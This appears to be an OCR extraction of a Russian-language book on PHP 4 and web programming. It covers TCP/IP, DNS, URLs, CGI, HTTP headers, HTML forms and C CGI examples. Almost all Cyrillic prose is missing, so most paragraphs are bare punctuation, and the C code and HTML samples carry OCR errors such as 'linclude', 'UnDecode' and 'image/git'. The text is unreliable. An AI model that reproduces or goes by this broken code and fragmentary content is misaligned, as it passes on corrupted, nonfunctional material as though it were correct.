Вы находитесь на странице: 1из 578

www.bhv.

ru
www.bhv.kiev.ua

! 1! 1


1|<

Li


Web-

4
-
-
2003

681.3.06
. .
4. .: -, 2003. 576 .: .
ISBN 5-94157-071-6
4 , , , Web-. HTTP CGI,
, , - , , .
Web-

681.3.06

:

.

02429 24.07.00. 27.01.03.


70x100V,e. . . . . 46,44.
. 5000 . Me 699
"-", 198005, -, ., 29.
, 77.99.02.953..001537.03.02
13.03.2002 . .

"" .
199034, -, 9 , 12.

ISBN 5-94157-071-6

. ., 2001

, "-", 2001

2
3
4
5

I. WEB-

1.

11


TCP/IP

IP-

....

- ()

HTML-
( HTML-)
Web-
World Wide Web URL

11
13
14
14
16
19
20
20
21
21
22
22
22
23
23
24
24
24
24
25
25
26
26
26
27

'

2. CGI

28

CGI?
URL
GET
GET
POST
Content-type
User-Age n t

28
29
30
32
32
32
33

IV

Referer
Content-length
Cookie
Accept
telnet
POST


""


POST\\
3. CGI


CGI-
CGI-

GET
POST
URL-

<input>
<textarea>
<select>


(file)
Cookies
Cookie
Cookies
Cookies

'

33
33
34
34
34
35
36
37
38
38
39
40
42
43
44
46
48
48
50
51
53
56
57
61
62
64
64
66
67
69
71
71
73

II. .
WEB- APACHE

77

4. Apache

79

: ?

: Apache
:
: Apache
: Apache
Apache

79
80
80
81
82
86
88

5. MySQL

93


Apache


MySQL
MySQL

93
95
96
97
98
100

III.

103

6.

105

?

-
Web

106
108
110
114

7. , ,

117










string
int, long
double,
bool
array
list
object
void
mixed

float

117
118
121
122
123
123
124
124
126
126
127
127
127
127
128
128
128
128
128
129
129
130
130
130
132
133
135
136
136
136

VI

137
137
138
138
140
140

8.

143


Cookies

143
145
146
148
149
151

9.
if-else

while
do-while
for
break continue
do-while break
foreach
switch-case
require
include
include

10.
" ".
list()
: ?
array()


countQ



11.


return

153
;

153
154
155
156
156
157
159
160
161
162
163
163
164
167
168
170
170
171
172
172
173
173
175
177
178
179
181
182
184
...185

VII






SGLOBALS



" "

: Dump()

186
187
188
190
191
192
194
195
195
197
198
199
201
202

IV.

203

12.

206


if-else






( )



-

13.

(asort()/arsort())
(ksort()/krsort())
uksort()
uasort()
array_reverce()
sort()/rsort()
usortQ
shuffleQ


...

206
207
209
210
212
213
214
216
217
218
219
221
223
225
226
226
226
227
227
228
228
228
229
229
230
231
232

VIII

232
232
234
236

14.

238

238
239
239
241
242
242
243

15.


or die()



/
/
CSV-











""

16.


:
17.

244

>

244
245
249
249
250
250
251
251
252
253
254
254
255
255
256
257
258
260
261
262
265
266
268
268
269
271
273
273
275
...276

IX

18.

277

19.

280

timestamp


20.
.




: ""
21. WWW




Cookies

Cookie
Cookie
SSI virtual()
virtualO
22. RegEx



RegEx





""




280
281
283
285
285
286
286
287
287
288
289
289
289
290
290
291
291
292
293
294
294
296
296
296
297
297
298
298
298
299
299
300
302
304
304
305
305
308
309
309
309
310



E-mail
.....

23.
GetImageSize()
GD




RGB



RGB-






TrueType

:

24.


error^reporting
magic_quotesjgpc on/off
max_execution_time
track_vars on/off.


@

310
310
311
311
312
314
315
316
316
317
318
319
320
320
320
321
322
322
322
323
324
324
324
325
325
326
326
327
327
327
328
329
329
332
332
333
334
334
335
335
335
336
337
337
...338






25.
?










:
Cookies
SID


Cookies ?
26. MySQL

MySQL



MySQL






,






MySQL
MySQL

XI

339
339
341
343
344
345
345
346
347
348
349
349
350
351
352
352
354
354
357
357
358
359
360
361
362
363
364
365
365
366
366
371
371
371
371
372
372
...372
373
373
374
374
375
377
378
379

XII

27.

DNS
IP-
IP-

381
381
382
383
383

V.

387

28.

389

Multipart-




:

390
390
391
392
392
393
395
396

29. . ""



: auto_prependjlle
: Apache
Apache



30.

397
397
398
404
405
406
407
407
411
412
-.413
415
416
417
417
419
421
422
423
423
425
426
427
428
429
431
...433


Apache

""


31. -

MySQL

.

MySQL




32.
-

33.



checkbox

XIII

434
441
443
449
450
451
453
454
454
456
456
459
460
461
462
464
465
478
479
481
482
486
486
488
493
496
496
501
503
504

VI.

507

1. Apache httpd.conf

509

2. php.ini

536

555


-...

in
!!!

Get ReGet!
ReGet - , ,
FTP- HTTP-.
, ReGet
-.
, ReGet

.
ReGet 1.7- MS Internet Explorer 5.5,
Windows 2000 .
ReGet -
. ,
, .

ReGet - .

!
www.reget.com


.

, "" ,
. , , Web, , , Web-. , , , .
(, ) .
, , Web. ", , ""
? ,
- , "" ,
, , . , -, ,
..." . ,
, ,
, Web, , .
, . ,
, Web-. ,
.
" ", Web-
. ,
.
. , Web . ...
, , , " ", - "" . , ( ),
, ,
. . - Web: " ", -

( , ) . , ,
"" ,
- .

, IBM, : "
. : . , , ". ,
.



, Web-, . , , ? , , " "
, , . ,
. , ,
,
- .
. , ? ,
, , ,
. , ,
.
, , , ( , )? .
, , - Doom,
.
, , Web ( , Web)
. . ,
, "" Web-. , ,

, . , ,

" ". ,
, ,
, , " ", .


, "". , "" . , , , ( )
, . ? ,
,
.
.
Sun Microsystems (, ), Windows 50
. , ( ,
10 , ). 50 20 =1000 (
20 ). ,
30 (, , - , ). , , 1000 /(30/60 )/
/3600 =555 555 , 555 555/24=23 148 23 148/365=63 ! , , , 24
, .
, , ,
(
). , " ",
, ?..
50 , 5 . ,
, 1000 . 6 . , , 555 555/10/1000(24/6)=222 ,
. ... , ?..
, , -
. , ?!
,
. , -

, . ,
, Internet Explorer?
...
, :
Web-. - ,
.
, .


, ,
Web-. ,
, ,

Web.
, ,
. 4, , Web , , . , ,
Web, , .
Web-, . ,
Web-. , . , "" " ",
, , Web.
"" "
, ..." " ...",
. ,
, , . : " ,
, ,
, ". ,
,
. : , -

, , , , , . , . -, "
" .
, ( ) ,
:
;
Web-.
, - . ,
, ( ),
. :
"", . . -
. ,
. , ,
, .


, 33 ,
.
. -
CGI (Common Gateway Interface )
, Web- . .
.
,
Web-.
.
Web, , .
(, Perl
), . , Web, CGI, ,
HTML Web,
CGI HTML . ,
Web-
. CGI -

, "" ( ). ,
: , "". ,
.
, .
, Apache. Apache
, (
, ).
,
. ,
- , Apache.
Apache Windows, ,
, . , - , " ",
. - "" Web " " .
.
.
, Web. 99% , . 1% Perl ( ). ,
: , , , ,
, ,
. ,
, .
,
, . , , . , ,
. ,
, ,
. , "" Web, , , . , -

( ), , .
. , . ,
, Web-
, . ,
, , . ,
- , , HTML .
,
. : (upload) , , . .
, Web. 1 Apache httpd.conf.
,
. 2
, . , (
).

I.

WEB-


, , ,
. . , , , , , .
. . , , ,
, .
, ,
.

, ""
, ,
. "": , "" . ,
, , ,
.


. ,
,
, , . .
, , .
.
, . ,

, Web-. -

I. Web-

12

TCP (Transmission Control Protocol ), , HTTP (Hypertext


Transfer Protocol ), TCP.
HTTP Web-.
, ,
.
. ,
,
.
,
"" , , , . . "" , . . 1.1
, Web- . : ( ),
. , , .
,
"", . ,
TCP/IP ( "").

Web-

ti

TCP

TCP

I:P'
.[

IP
.

>

. 1.1.

1.

13

" " ,
" ". , IP (
TCP)
TCP, a TCP, , " "
HTTP ( Web-,
HTTP ).
, .
.
, ""
, . . HTTP , TCP.

TCP/IP
, TCP, , , , (, TCP ).
, , , IP ( , IP , ). TCP IP ,
TCP/IP ( UDP, ). TCP, .
! , .
(, , ,
), "" , .
, . , "" ,
. , (, ),
, , .
TCP/IP , , -

14

I. Web-

. , , .
,
.
(
),
"" ( ).
, ""
, .
, TCP/IP.
Web- TCP/IP ( ) "", , HTTP, . , .
. ,
TCP/IP, .


, . ,
,
. , ( ). , ,
,
. TCP/IP
IP- . , .

, , .
. , " " , . -,
, -, ,
"-" , .

IP-
,
"",

1.

15

, IP-. 30 (, )
IP- :
127.12.232.56

, 8- (
0 255 ), .
IP-:
(, 127.. . 1 , , 255 ). .
: (
). , , IP- ,
? "" ( ""?)
,
, ? , , , , .
.
, ,
. , 1 ( ), 11 ( )
. , ?
, , , HTTP, WWW (World Wide Web,
).
(

, , , .
, "", .
,
,
, ""
. , (
, ,
). -
.

, 1
somehost - IP-. : - , somehost.

16

I.

Web-

(, 0,1 , . .
, ), , .
? .
. , somehost. , , 0,1 . ? 0,2 11x10=
= 110 . , .
, 1 "" 10 , . . 10 , !
, : -
. ,
, , ""
. , , ,
100 .

.
,
"" . IP- , , D.
, . TCP/IP ( ).


- IP-
. , ,
. , DNS (Domain Name System ).

DNS , IP-. - , , . ,
DNS, .

, DNS
IP-, . :
www.somehost.msu.su

To , ( ), . N- (-

1.

17

, su , m s u . s u - - , s o m e h o s t . m s u . s u -

. .)
, DNS- : , :
www . somehost . msu . su .

(-, ) , . , .

^
, ?
. IP- DNS- . . . , ,
, ...

, IP- .
IP-. HTTP 1. 1 (
) Web-,
- , ,
, ,
IP- . HTTP 1.1 , ,
Web.
, DNS-
IP-. DNS , , ,
, ,
(, ).
, Web- (,
) . , , Netscape.
DNS-? DNS-, , IP-.
, . IP- w w w . h o s t . r u . ( ! ). , (,
DNS-, ),

18

I. Web-

"." ( , ). :
IP- (, IP- DNS-), ru. IP- ,
, host ru ".".
IP- www
somehost.ru.
, "" , , , . . . , , , ru. ( )-- , h o s t . r u . -- ,
. .
, , . ,
, , , , DNS-, DNS-.
? . ,
".", IP- . , DNS-, (
ru, com . .)
. , ,
, w w w . h o s t . r u .
, , ,
host , , www.
w w w . h o s t . r u . , IP-,
. DNS- . , , , , h o s t . r u .
IP-.
, .
, , , , IP-: ,
IP- .

, IP-, , IP-
, , , . .

1.

19

, . ,
, .
, , . , -, (, ) IP. TCP
. ,
, - . , ,
TCP. , . , TCP
, .
( ),
-
() .
, :
"" , ;
,
- ;
. "" ( "" ).
, ,
TCP,
, , 0
65 535 ( 2
). TCP ,
, - ""
( ).
,
. , ,
"" , .
TCP- : , ,
?
, . , , :
IP- , ;
, .
2 . 699

20

I. Web-

, ,
TCP , IP- . "
" , , .
"", , - , .
, TCP : . "" ? , - , ( ,
, TCP ). TCP ,
"" . .
, .
"" ( " ", 3 ), . ,
Unix ( , ). , ,
, , . ,
, PHP f sockopen ( ) .

,
"" . , , .
, , , , "" . " ". ,
, .

, , , "" .
"" IP-, -

1.

21

, . -
(""), , IP- ( ),
.
, "". , . ,
. , - TCP/IP, . . "" . ,
, ( ,
,
, TCP/IP). ,
.
"" , ,
( , TCP - ),
. , , WWW,
Web-. , , . , , .

, , IP. - . -
( , ).
, : , IP- , . ()
, ,
. ,
,
IP-. ,
,
WWW, DNS-.
, , TCP "", IP-
. , IP- .

, , . ,
TCP. , ,

22

I. Web-

, . ,
Web- 80, ,
- , 80
.


,
, . , -- -.
Web-, FTP- Telnet-.

^~

" " Unix.


,
, ( , , ,
). ( ), , . - "" .

, Web-
, . , . .
Web-. , ,
"" . , ""
(-), , - , .
( 100200
), ,
.

, ,
.
( , ).

, . , . ,

1.

23

. , . . ( )
, , , . ,
, , .
, : , ,
.


, IP- , , ,
- (,
DNS-). , HTTP 1.1. Web- (, , )
, , IP-.
, ,
HTTP 1.1,
.

" " Web.


, Web HTTP 1.1. sendmail SMTP (Send
Mail Transfer Protocol )
" ", , , . , syn.com microsoft.com, E-mail my@syn.com my@microsoft.com. , ,
IP-.

- ()
, ( )
,
. -, , , telnet- ( ) . . ,
. , -, ( ).
- Web-

24

I, Web-

, : ,
Web- Windows. (
, TCP ,
, ,
.) , . , ,
.

, -.

,
HTML- ( HTML). , , , . ,
, .

HTML-
, HTML.

( HTML-)

World Wide Web, Web-
. HTML, " " -
. , , , , HTML- . HTML
(Hypertext Markup Language ) .
, . , , -
HTML, , .

1.

25_

Web-
, , , .
"i".
, HTML- , , "
" . ,
, Web-. ( , ,
. .) Web- . , Web- (,
-, ), .
Web-,
.
, ""
, , . .
" ". , ,
, .

, - . , , , IP-
. .

World Wide Web URL


"" World
Wide Web, Web WWW ( ). , WWW
HTTP (Hypertext Transfer Protocol ). ,
,
.
, - "" .
URL (Universal Resource Locator -- ) ,
. URL?
DNS-?

26

I. Web-

- . , Web-
. , , .
URL :
http://www.somehost.com:80/path/to/document.html

URL.

URL, ( h t t p : / / ) , , Web-.
HTTP, . , HTTPS
, , , Web- . ,
, TCP,
. , , HTTP.


, ( www.somehost.com).
, IP-. , , (
),
IP-.

(
) . , HTTP
80 ( 81).
, . ,
(,
, ), , 80
Web-, HTTP- . , , FTP Telnet, .

1.

27


,
( /path/to/document .html). , , , , " "
. , /Y/M/N.html
N Y, , http://_/20/
/ 2 0 . h t m l , 20 2000 .
20.html ,
,
( ,
).
,
, -
.
, . . , :
http://www.somehost.com/cgi-bin/something

, cgi-bin,
, - .
html ( HyperText Markup Language ) Web. HTML
, , , . . html : g i f ,
jpg , cgi, pi (,
) . . , ,
, ,
, htm
HTML- ( ).

)
,
.

CGI
CGI (Common Gateway Interface )
, Web-
Web-.
. ,
Web- CGI-. . CGI Web-, CGI .

CGI-, .
, , , "
" , Web-. -, . , .

CGI?
,
http://www.somehost.com:80/path/to/document.ext

, HTML- (
, ). , ,
/ p a t h / t o / document. ext,
( , , Web-,
80 ).
. .
/path/to/, document.ext
.
(alias) . ,
,
Web-, ""
( 7).

2. CGI

29

document. ext , , ,
, HTML- (, ,
, , ).
, . ,
. ,
, .
. ,
, , CGI. CGI , . , CGI, - ,
-, Basic (, Perl ).
. , , , " ". , , -
. , , ,
. ,
, , !
. ,
, ,
. ,
, ( -
, )? ,
- , , ( , , ). CGI. URL.

URL
, , - URL? , .
URL "" :
http://www.somehost.com:80/path/to/document.ext?parameters

, parameters, . . , , ( ,

30

I. Web-

URL-, . ). -
CGI-.

. ,
.

. , , :
http://www.somehost.com/script.cgi?time=+5

script.cgi,
, (, time +5, . . 5 ) . , =.
(,
, )? :
http://www.somehost.com/script.cgi?time=+5&name=Vasya

, &.
,
. ( -
,
""? ,
). , ,
: ,
. . , ,
.
, ( URL) GET. ,
(, ), GET. ? , .
( ) - POST, ,
"" .

GET
, ,
somestring <Enter>.

2. CGI

31_

somestring? , . . ,
( ,
), Web-
-. - :
GET somestring HTTP/1.0\n
... ...
\n\n

\ , \ \ , (,
). ,
.
, GET- , . . (headers), . HTTP .
HTTP. , , , , POST, .
. , (, -) . (
) , .
CGI-, . ,
,
(
). .

^)

, - , ,
. Web, .

,
,
CGI-. .

32

I. Web-

, ,
. .

GET
: GET ? /1.0

: REQUESTJJRI; QUERY_STRING , REQUEST_METHOD GET.


(
POST) . , (
, ,
). HTTP/I .
, HTTP/I, i. ,
, .
? ,
URL. -
, . URI
(Universal Resource Identifier - ).
URL ( , HTTP).
, URL
Web- , , URI , ( IP) .

POST
: POST ? / 1 . 0

: REQUESTJJRI; QUERY_STRING , REQUEST_METHOD POST.


POST.
, ,
GET ,
, .

Content-type
: Content-Type:

application/x-www-form-urlencoded

: CONTENT TYPE

2. CGI

33

.
appiication/x-www-form-uriencoded, , ( ) .
, GET POST.

multipart/form-data. , , .
,
, .

User-Agent
: U s e r - A g e n t : M o z i l l a / 4 . 5 [en]

( W i n 9 5 ; I)

: HTTPJJSER_AGENT

( Netscape Navigator).

Referer
: R e f e r e r : _

: HTTP_REFERER

, URL , . , , (,
), , Referer.

, , , referer - "". , . , HTTP, , , .


,
HTTP_REFERER.

Content-length
: Content-length:

: CONTENT_LENGTH

34

I. Web-

, , POST.
GET, , , .

Cookie
: C o o k i e : _)<1

: HTTP_COOKIE
Cookies URL- ( Cookies ).

Accept
: A c c e p t : t e x t / h t m l , t e x t / p l a i n , i m a g e / g i f , i m a g e / j p e g
: _

,
"". . ,
*/*, .
(
HTTP 1.1), .

telnet
, "" ,
telnet- (, , ,
IP- , , , ""
) . ., . , h t t p : / / w w w . s o m e h o s t . c o m / ,
(Unix, Windows 95/98/NT/2000 ) ( <Enter> ):
telnet www.somehost.com 80<Enter>
GET /index.html HTTP/1.0<Enter>
<Enter>

, HTML-
index.html. , HTTP.
, .

2. CGI

35

, "Bad Request", , . ,
HTTP/I . .

, . : "\\" (,
, "" ), ,
, .
, , Cookies, POST . . -
, , ( , ).

POST
POST. ,
GET POST ( \\)
- ?
.
Content-length , :
POST /script.cgi HTTP/1.0\n
Content-length: 5\n
\n

Test!

,
. ,
\\, , T e s t !
5 .
, POST-
( , ), . ,
, . . ,
? content-Length,
.
.
POST? ,
. , Web (. )
. , POST

I. Web-

36

: , GET, , ,
, URL ,
POST- URL .


, GET, POST URL- . ?
, (, , 20
), - -
E-mail Web - " " ,
127. , 0 .. 32 128 .. 256
URL- . ,
, : %. ,
(+). ,
.
,
(, 3 !).
-.
-. ,
, . ,
, ,
, ASCII. ,
, , KOI-8-R, WIN, .
,
( ,
, ). , ,
, , ! , "" ,

, -
. .
, "" - , .
(

,
,

2. CGI

37

. ,
online-. ,
.

? ,
, , - ,
. ,
, , ? , Web-
, telnet'y? - ?
-, . ,
. .



, , GET POST.
URL- ,
, . , HTML
.
GET.
URL . ?, &, %...
, . ,
HTML, , ,
. ,
HTML, .
,
s c r i p t . c g i (, , cgi CGI-, , ,
). 2 :
name . , .
h t t p : / / w w w . s o m e h o s t . c o m / s c r i p t . c g i
HTML-:
<html><body>
, name! , age !
</body></html>

, name age , .

38

I. Web-

""
URL, . ,
http://www.somehost.com/script.cgi?riame=Vasya&age=20

:
<htmlxbody>
, Vasya! , 20 !

</body></html>
, &,
=. . , .


,
0 , - Windows, . ,
HTML- (, form.html ) , . 2.1.
I 2.1. /form.html
<htmlxbody>
<form action=script.cgi method=GET>
:
<input type=text name="name" value="Hen3BecTHbM"xbr>
:
<input type=text name="age" value="HeonpefleneHHbM"><br>
<input type=submit value=" !">
</body></html>

,
(, name="age"), . , ,
HTML ( , ,
), . name value ,
. , HTML ( -

2. CGI

39

),
.
. :
'jlXAhomolciaclcciAwwwYlorm.hlml - Microsoft
^ | J

. ........,"..............

^ '
'

\ |

-;:

."

...

; ."

http://wvvw.sornehos1.camAorm.html

: [
: (
! J
;
:.[ | | |S|

. 2.1. HTML-
, ,
!, URL,
action <form> :
http://www.somehost.com/script.cgi
? , input
, (&). =. , ?
, URL,
, (,
Vasya 20 ):
http://www.somehost.com/script.cgi?name=Vasya&age=20
, , , , , URL-
. ,
.



action <form>. (/), .

40

I. Web-

, script.cgi ,
(, HTML- ).
(

, , , "" . - ( , , ), URL, / URL .


http://www.somehost.com. , .
, .

, ,
. action :
<form action="/some/path/script.cgi">

,
(, , )
/ . , , ,
URL , ,
( ).
:
<form action="http://www.other.com/any/script.cgi">

, ,
, , .
, ,
"" .
World Wide Web ( ) , ,
.

POST
, GET, POST? : method=GET
method=PosT. .

action <form> ,
GET.

2.

CGI

41

,
, , . .
,
, .
: , - ( ).
, , : , . ,
HTML- ,
. , , ,
, . ,
, : ", . , ?". , ,
URL .


( 99% , ). , ""
( URL , , , ). ( ) .
.

CGI
CGI.
, .
- CGI- (CGI), ? , ?
, .
,
CGI-. ,
, , () - CGI- ( ). , . , . . ; , ,
( ,
, .). ,
- .
,
( , "Hello,
world!"). , ,
( , , , ,
Web-). , CGI , , . , (,
).
-, , ( !) ,
( ++).
, ,
,
.

3. CGI

43

, .
, " ". , ,
, HTTP
. ,
Web-.
,
, . , CGI HTML, , . , , .
, ,
( Web), . . ( )
. , , ,
, . , ,

:
( ) .
( , ):
( stdout), . ,
, , "". ( ,
. ,
"" .)
, , . , : ,
. ,
, , GIF ?
.

44

I. Web-


, , . , ( ), , .

\\. , , , , .


, . ,
. , , :
/1.1

:
/1.1 404 File Not Found

,
. , . , , ,
.
( )
,
. , ,
(,
status, ). .
.

Content-type
: Content-type: !_; charset=koi8-r

. charset
( KOIS-R). mime_n
, :
text /html HTML-;
D text/plain ;
image/gif GIF-;

3. CGI

45

image/jpeg JPG-;
.

Pragma
: Pragma: no-cache

, ,
. , , ,
.
Pragma ( ,
),
.

Location
: Location: http://www.otherhost.com/somepage.html

,
,
(
URL). , ,
Location, .

Location , . , , , , .

Netscape , , Location URL ( ,


, self-redirect). , , , , . Netscape ,
- , " ". , /. V .

Set-cookie
: Set-cookie:

_)<1

Cookie . , Cookies .

46

I. Web-

Date
: Date: Sat, 08 Jan 2 0 0 0 1 1 : 5 6 : 2 6 GMT

.
Server
: Server: A p a c h e / 1 . 3 . 9

(Unix)

PHP/3.0.12

CGI-
,
, ( 3.1).
! 3.1. script.

!...

#include <time.h>

// rand()

#include <stdio.h>

// /

#include <stdlib.h> // rand()


// . ,
void main(void) {
//
int Num; time_t t; srand(time(St));
// Num 0 9
Num = rand()%10;
// . html-
printf("Content-type: text/html\n");
//
printf("Pragma: no-cache\n") ;
//
printf("\n");
//
printf ("<htmlxbody>") ;
printf ("<>!</>") ;
printf(" 0-9: %d",Num);
printf ("</bodyx/html>") ;

3. CGI

47

CGI .
cgi-bin,
. , , (
).
, , ,
.
:
http://www.myhost.com/cgi-bin/script.cgi

HTML-. , Reload
( ) , (
).

Pragma: no-cache

, ,
HTML-,
. ,
- GIF- (, ). :
Content-type: image/git

-- GIF-
( fwrite, . . "" GIF-).
:
... - ...
<img src=http://www.myhost.com/cgi-bin/script.cgi>
... ...


, . ,
,
, . , .
: CGI- HTML-, MIDI-.
content-type. He -

48

I. Web-

, 500- (
Apache), .


CGI-
, ( , ), .
,
, ( POST) .
.


.
, , , (
). (
, ):

_
( , ) - , . , */*, , .

HTTP_REFERER
, , CGI. , ,
, ( , , -
).

HTTP_USER_AGENT
. MSIE, Internet Explorer,
, Moziiia, Netscape.

3. CGI

49

HTTP_HOST
Web-, . ,
Host HTTP 1.1.
, , , Location,
( ,
"" , ,
).

SERVER_PORT
( 80), . Location.

REMOTE_ADDR
IP- ( ) , .

REMOTE_PORT
, .

SCRIPT_NAME
( URL
, ?). , ,
Location
(self-redirect), action
<form> , (
).

REQUEST_METHOD
, ( GET POST, ). , , ,
, ,
, , POST. , .

QUERY_STRING
, URL . , GET, POST (
action <form>).

50

I. Web-

CONTENT_LENGTH
, .
,
POST-.

GET
. ( ,
, URL ?) QUERY_STRING.
, URL-. .
, .
, getenvo . ,
.
: 3.2.
#include <stdio.h> // /
ftinclude <stdlib.h> // getenvO
void main (void) {
// REMOTE_ADDR
char *RemoteAddr = getenv("REMOTE_ADDR") ;
// ... QUERY_STRING
char *QueryString = getenv("QUERY_STRING") ;
//
printf ("Content-type: text/html\n\n") ;
//
printf ( "<htmlxbody>" ) ;
printf ("<1>. !</>");
printf (" IP-: %s<br>",RemoteAddr) ;
printf (" , : %s",QueryString) ;
printf ("</body></html>") ;

CGI-.
:
http: //www.myhost.com/cgi-bin/script. cgi?a=l&b=2

3. CGI

51

:
. !
IP-: 1 9 2 . 1 6 8 . 2 3
, : =1&=2

POST
GET,
, ( stdin). To ,
, , . (, ,
, " " .)

: , POST,
, GET. ,
POST URL. , ,
QUERY__STRING.

,
POST? ? CONTENT_LENGTH,
(, ).
, POST-,
GET-, :
| 3.3. POST
#include <stdio.h>
linclude <stdlib.h>
void main(void)

//
char *RemoteAddr = getenv("REMOTE_ADDR");
char *ContentLength = getenv("CONTENT_LENGTH");
char *QueryString = getenv("QUERY_STRING");
//
int NumBytes = atoi(ContentLength);
//
char *Data = (char *)malloc(NumBytes + 1);
3 . 699

52

I. Web-

I /
fread(Data, I, NumBytes, stdin) ;
//
// ( )
Data [NumBytes] = 0;
//
printf ( "Content-type : text/html\n\n" ) ;
//
printf ("<htmlxbody>") ;
printf ( "<> . ! </>") ;
printf (" IP-: %s<br>",RemoteAddr) ;
printf (" : %d<br >", NumBytes );
printf (" , : %s<br>", Data) ;
printf (" , URL: %s",
QueryString) ;
printf ("</body></html>") ;

, ,
s c r i p t . cgi , / c g i - b i n / .
HTML- :
| 3.4. POST-
<htmlxbody>
vform dction=/cgi-bin/script . cgi?param=value method=post>
Namel: <input type=text name="namel"xbr>
Name2 : <input type=text name="name2"Xbr>
<input type=submit value="3anycTOTb !">
</form>
</bodyX/ntml>

, - ,
HTML-, , , :
. !
IP-: 1 3 6 . 2 3 4 . 5 4 . 2
: 23
, : namel=Vasya&name2=Petya
, URL: param=value

3. CGI

53

, POST , GET.
, POST ,
"" (
HTTP HTML).

URL-
, , , , ""
, URL-. ,
URL- .
. ,
, .
, , - ( "" ,
) %, .
, .

(, ) , ( ,
& =). , & =, ?
, ? , . , , .

, : (=),
( =),
, :
| 3.5. URL-
// st .
// , .
void UrlDecode (char *st) {
char *p=st; //
char hex[3]; // %
int code;
//
// , ( ,

54

I. Web-

// 0, . )
do {
// %~ . . .

i f ( * s t == ' % ' ) { //
h e x [ 0 ] = * ( + + s t ) ; h e x [ 1 ] = * ( + + s t ) ; hex[2]=0;
//
sscanf(hex,"%X",Scode);
//
*p++=(char)code;
// ,
//
// , "+", " "
else if(*st=' + ') *p++=' ';
// ,
else *p++=*st;
} while(*st++!=0); //

,
, , , , . , , . .
sscanf () . ,
, , .
, , . :
| 3.6. POST- URL-
#include <stdio.h>
#include <stdlib.h>
void main(void) {
//
char *RemoteAddr = getenv("REMOTE__ADDR");
char *ContentLength = getenv("CONTENT_LENGTH");
// QUERY_STRING
char *QueryString = malloc (strlen (getenv ("QUERY STRING")) -I- 1);

3. CGI

55

// QUERY_STRING
strcpy (QueryString , getenv ( "QUERY_STRING" ) ) ;
// QUERY_STRING
UrlDecode (QueryString) ;
//
int NumBytes = atoi (ContentLength) ;
//
char *Data = (char* )malloc (NumBytes + 1) ;
//
fread(Data, I, NumBytes, stdin) ;
//
// ( )
Data [NumBytes j = ;
// ( ,
// POST-, )
UnDecode (Data) ;
//
printf ("Content-type: text/html \n\n") ;
//
printf ("<htmlxbody>") ;
printf ("<> . ! </hl>") ;
printf (" IP-: %s<br>",RemoteAddr) ;
printf ( " : %d<br>", NumBytes);
printf (" , : %s<br>", Data) ;
printf (" , URL: %s",
QueryString) ;

printf ("</body></html>") ;

, .
QUERY_STRING. ? , . . , , 3.5.
, ,
. ? : QueryString
QUERY_STRING, , ,
. urlDecode ,

56

I. Web-

, , , .
, QUERY_STRING ,
, - ,
. .
, ? , . , , " , "
(
).


( submit). ,
(
).
3 :
<input...>
<textarea...>...</textarea>
<select. . .xoption. . .>. . .</option>. . .</select>

, , . ,
= , , &. , ,
, name, = .
, , . ,
( , JavaScript) . . , :
<form action=script.cgi>
... - ...

<input type=submit value="Go!">


</form>

, Go! ,
, name.
. ,
, , -

3.

CGI

57

- (, URL
). :
<form action=script . cgi>
<input type=submit name=" submit" value="Go!">
</form>

Go!
submit=Go ! . , , URL (
,
submit).
, , <seiect>,
=,
, name, ,
, value (,
, ).

<input>
,
type. .
, ,
( , name
, ).
!
.
HTML , .
, .

(text)
<input type=text
=
[ != ]
[!=]
[!=]
size maxlen (
).

58

I. Web-

, , , maxlen
. , ( "" <input>) , .

value,
.

(password)
<input type=password
=
[value=3Ha4eHMe]
[!=]
[!=]
>

<input type=text>, ,
, , .
, - . ,
value, , , HTML- , ,
() ( ). , , , , , ,
- .

(hidden)
<input type=hidden
=
va1=
>

() . , - ,
, , .
, , CGI-, . E-mail ,
, , :
<form action=/cgi/sendmail.cgi method=post>

3. CGI

59

<input type=hidden nanv;=email value="admin@microsoft . com. ">


<2> : </h2>
<input type=text name="text">
<input type=submit name=doSend !="0">
</form>

, text email. , . :
<forra action=/cgi/sendmail . cgi method=post>
<.2> :</h2>
E-mail: <input type=text name=emailxbr>
: <input type=text name="text"xbr>
<input type=submit name=doSend value="Oroc7iaTb">
</form>

, . , ,
.
,
, URL
. , , ,
submit.
(

submit ,
. , , ,
submit ( ).
<Enter> ,
submit-. , .
- hidden-, , submit:
, , -
,
URL .

(checkbox)
<input type=checkbox
=
[checked]

60

I. Web-

( ), , (
). ,
, =, , .
checked, , .

(radio)
<input type=radio
=

( ).
, , , . , , . ,
, . , name
, . , , , . - , =, ,
value ( , ). checked,
, .

, : ?
, ? . ,
( ) , "", . , 3 , 3 , (
!). , ),
...

(submit)
<input type=submit
=]

3. CGI

61

value=TeKCT

name ( )
(, ),
value. , name, .
=_ ( , ,
, , ). ,
submit,
(, - ) ,
, .

(reset)
<input type=reset
value=TeKCTKHOriKM

, . , (,
, ). , . .
reset .

(image)
<input type=image
[=]
s r =

,
, submit, , , ( ).
: .=&.=, (, Y) .
name , : x=x&y=Y.

<textarea>
, <textarea>.
, <input type=text>,
, . :
<textarea
=

62

I. Web-

[width=iiiMpiffla] [height=BbicoTa]
[=]
>, oe</textarea>

, . width , a height . wrap


, .
( ).
virtual . , , ,

, .
<Enter>.
CD Physical , .
None , .
, (
, ).
, , , , =, <input type=text>.

<select>
<seiect>. ( ) .
. :
<select = [size=pa3Mep] [multiple]>
<option [valuel=3Ha4eHMel][selected]>CTpoKal</option>
<option [!2=2] [selected]>CTpOKa2</option>
<option [valueN=3Ha4eHneN][selected]>CTpOKaN</option>
</select>

, . , <option>, .
size , . size 1,
, size
. multiple,
, . , multiple .

3. CGI

63

<option>.
value, , , ,
(, value ). ,
selected, .
, : </option> ,
HTML ( ).
,
. , =, <select>,
( , value, ).

(multiple)
, multiple? : , ,
He-multiple-, , . , , , :
=!&=2&...&=

, , . , . , , -:
<input type=checkbox = value="CiH">OflMH<br>
<input type=checkbox = value="flBa">flBa<br>
<input type=checkbox = value="TpM">TpM<br>

, (, URL- ):
=&=&=

:
,
. ,
"", "". .
, multiple- ( ), -miltiple . , , <seiect>
,
.

64

I. Web-

, . ,
Web. V.

, ,
. HTML
. .


,
?, & =. ,
, ,
. , , , URL- "" - - (,
URL- %). . , , , .
? &. , ,
POST, GET.
, GET ...
, - , <form>
enctype=muitipart/form-data. ( , ,
, enctype=appiication/xwww-form-uriencoded
.) , , ( ).
HTTP- "-",
. (\, , ):
_\
Content-Disposition: form-data; =""\

3. CGI

65

\n
\n

, :
3.7. Multipart-
<form action=... enctype=multipart/form-data method=post>
Name: <input type=text name="Name" value="Moe "><>

Box: <input type=checkbox name="Box" value=l checkedxbr>


